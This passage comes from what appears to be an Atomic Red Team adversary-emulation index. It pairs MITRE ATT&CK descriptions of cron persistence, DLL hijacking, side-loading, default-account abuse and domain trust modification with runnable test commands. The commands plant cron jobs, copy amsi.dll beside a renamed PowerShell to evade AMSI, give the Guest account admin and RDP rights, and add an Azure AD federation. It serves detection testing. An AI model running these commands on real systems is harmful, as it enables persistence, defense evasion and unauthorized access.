      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: Path
          default: "/tmp/persistevil"
      executor:
        name: bash
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

'
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name}
          rm /etc/cron.hourly/#{cron_script_name}
          rm /etc/cron.monthly/#{cron_script_name}
          rm /etc/cron.weekly/#{cron_script_name}
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

'
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

'
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name}

'
  T1574.001:
    technique:
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      name: DLL Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.001
        url: https://attack.mitre.org/techniques/T1574/001
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Microsoft Dynamic Link Library Search Order
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
      - source_name: FireEye Hijacking July 2010
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      - source_name: FireEye fxsst June 2011
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
      - source_name: Microsoft Security Advisory 2269637
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
      - source_name: Microsoft Dynamic-Link Library Redirection
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-26T18:37:03.748Z'
      created: '2020-03-13T18:11:08.357Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1574.002:
    technique:
      created: '2020-03-13T19:41:37.908Z'
      modified: '2021-04-26T18:31:34.954Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.002
        url: https://attack.mitre.org/techniques/T1574/002
      - external_id: CAPEC-641
        source_name: capec
        url: https://capec.mitre.org/data/definitions/641.html
      - source_name: FireEye DLL Side-Loading
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DLL Side-Loading
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: String
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: Path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

'
        prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: "#{gup_executable}\n"
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

'
        name: command_prompt
  T1078.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.001
        url: https://attack.mitre.org/techniques/T1078/001
      - external_id: CAPEC-70
        source_name: capec
        url: https://capec.mitre.org/data/definitions/70.html
      - source_name: Microsoft Local Accounts Feb 2019
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
      - source_name: AWS Root User
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      - source_name: Metasploit SSH Module
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
        description: Metasploit. (n.d.). Retrieved April 12, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Default Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T20:14:26.846Z'
      created: '2020-03-13T20:15:31.974Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
        guest_password:
          description: Specify the guest password
          type: String
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: String
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: String
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: Integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

'
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

'
        cleanup_command: 'net user #{guest_user} /active:no

'
        name: command_prompt
        elevation_required: true
  T1078.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.002
        url: https://attack.mitre.org/techniques/T1078/002
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - source_name: Microsoft AD Accounts
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-09-16T19:42:11.787Z'
      created: '2020-03-13T20:21:54.758Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1484:
    technique:
      id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
      description: |-
        Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

        With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).

        Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
      name: Domain Policy Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1484
        url: https://attack.mitre.org/techniques/T1484
      - source_name: ADSecurity GPO Persistence 2016
        url: https://adsecurity.org/?p=2716
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
      - description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
        source_name: Wald0 Guide to GPOs
      - source_name: Harmj0y Abusing GPO Permissions
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 30, 2020.
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
      - source_name: Microsoft 365 Defender Solorigate
        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
      - source_name: Sygnia Golden SAML
        url: https://www.sygnia.co/golden-saml-advisory
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
      - source_name: CISA SolarWinds Cloud Detection
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
      - source_name: Microsoft - Update or Repair Federated domain
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:52:24.598Z'
      created: '2019-03-07T14:10:32.650Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_version: '2.0'
      x_mitre_detection: |-
        It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
      x_mitre_defense_bypassed:
      - System access controls
      - File system access controls
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1484.002:
    technique:
      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
      description: |-
        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
      name: Domain Trust Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1484.002
        url: https://attack.mitre.org/techniques/T1484/002
      - source_name: Microsoft - Azure AD Federation
        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
        description: Microsoft. (2018, November 28). What is federation with Azure
          AD?. Retrieved December 30, 2020.
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
      - source_name: Sygnia Golden SAML
        url: https://www.sygnia.co/golden-saml-advisory
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
      - source_name: CISA SolarWinds Cloud Detection
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
      - source_name: Microsoft - Update or Repair Federated domain
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-01-11T18:21:20.213Z'
      created: '2020-12-28T21:59:02.181Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      x_mitre_detection: |-
        Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      identifier: T1484.002
    atomic_tests:
    - name: Add Federation to Azure AD
      auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
      description: |
        Add a new federation to Azure AD using PowerShell. The malicious Identity Provider to be added must be configured beforehand.
        If ADFS is used as IdP, the Uris parameters can be found at 'https://<federationservice>.<domainname>.com/federationmetadata/2007-06/federationmetadata.xml'
      supported_platforms:
      - azure-ad
      input_arguments:
        azure_username:
          description: Username of a privileged Azure AD account such as External
            Identity Provider Administrator or Global Administrator roles
          type: String
          default: bruce.wayne@contosocloud.com
        azure_password:
          description: Password of azure_username
          type: String
          default: iamthebatman
        active_logon_uri:
          description: Active Logon Uri, available in federation metadata at <SingleSignOnService
            Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST> field if ADFS
            is used.
          type: String
          default: https://sts.contoso.com/adfs/ls/
        issuer_uri:
          description: Issuer Uri, available in federation metadata at the "entityID"
            field if ADFS is used.
          type: String
          default: http://sts.contoso.com/adfs/services/trust
        metadata_uri:
          description: Metadata exchange Uri, available in federation metadata at
            <Address xmlns="http://www.w3.org/2005/08/addressing"> field if ADFS is
            used.
          type: String
          default: https://sts.contoso.com/adfs/services/trust/mex
        public_key:
          description: Public key of the X509 signing token certificate, in base64
          type: String
          default: MzAgODIgMDEgMGEgMD...gZWQgOTkgMDIgMDMgMDEgMDAgMDE=
        domain_name:
          description: New federation domain name
          type: String
          default: contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureADPreview Powershell module must be installed. The Identity
          Provider to be federated must be configured (outside of the scope of this
          test).

'
        prereq_command: 'if (Get-Module AzureADPreview) {exit 0} else {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureADPreview -Force

'
      executor:
        command: |
          Import-Module AzureADPreview
          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
          Connect-AzureAD -Credential $Credential > $null
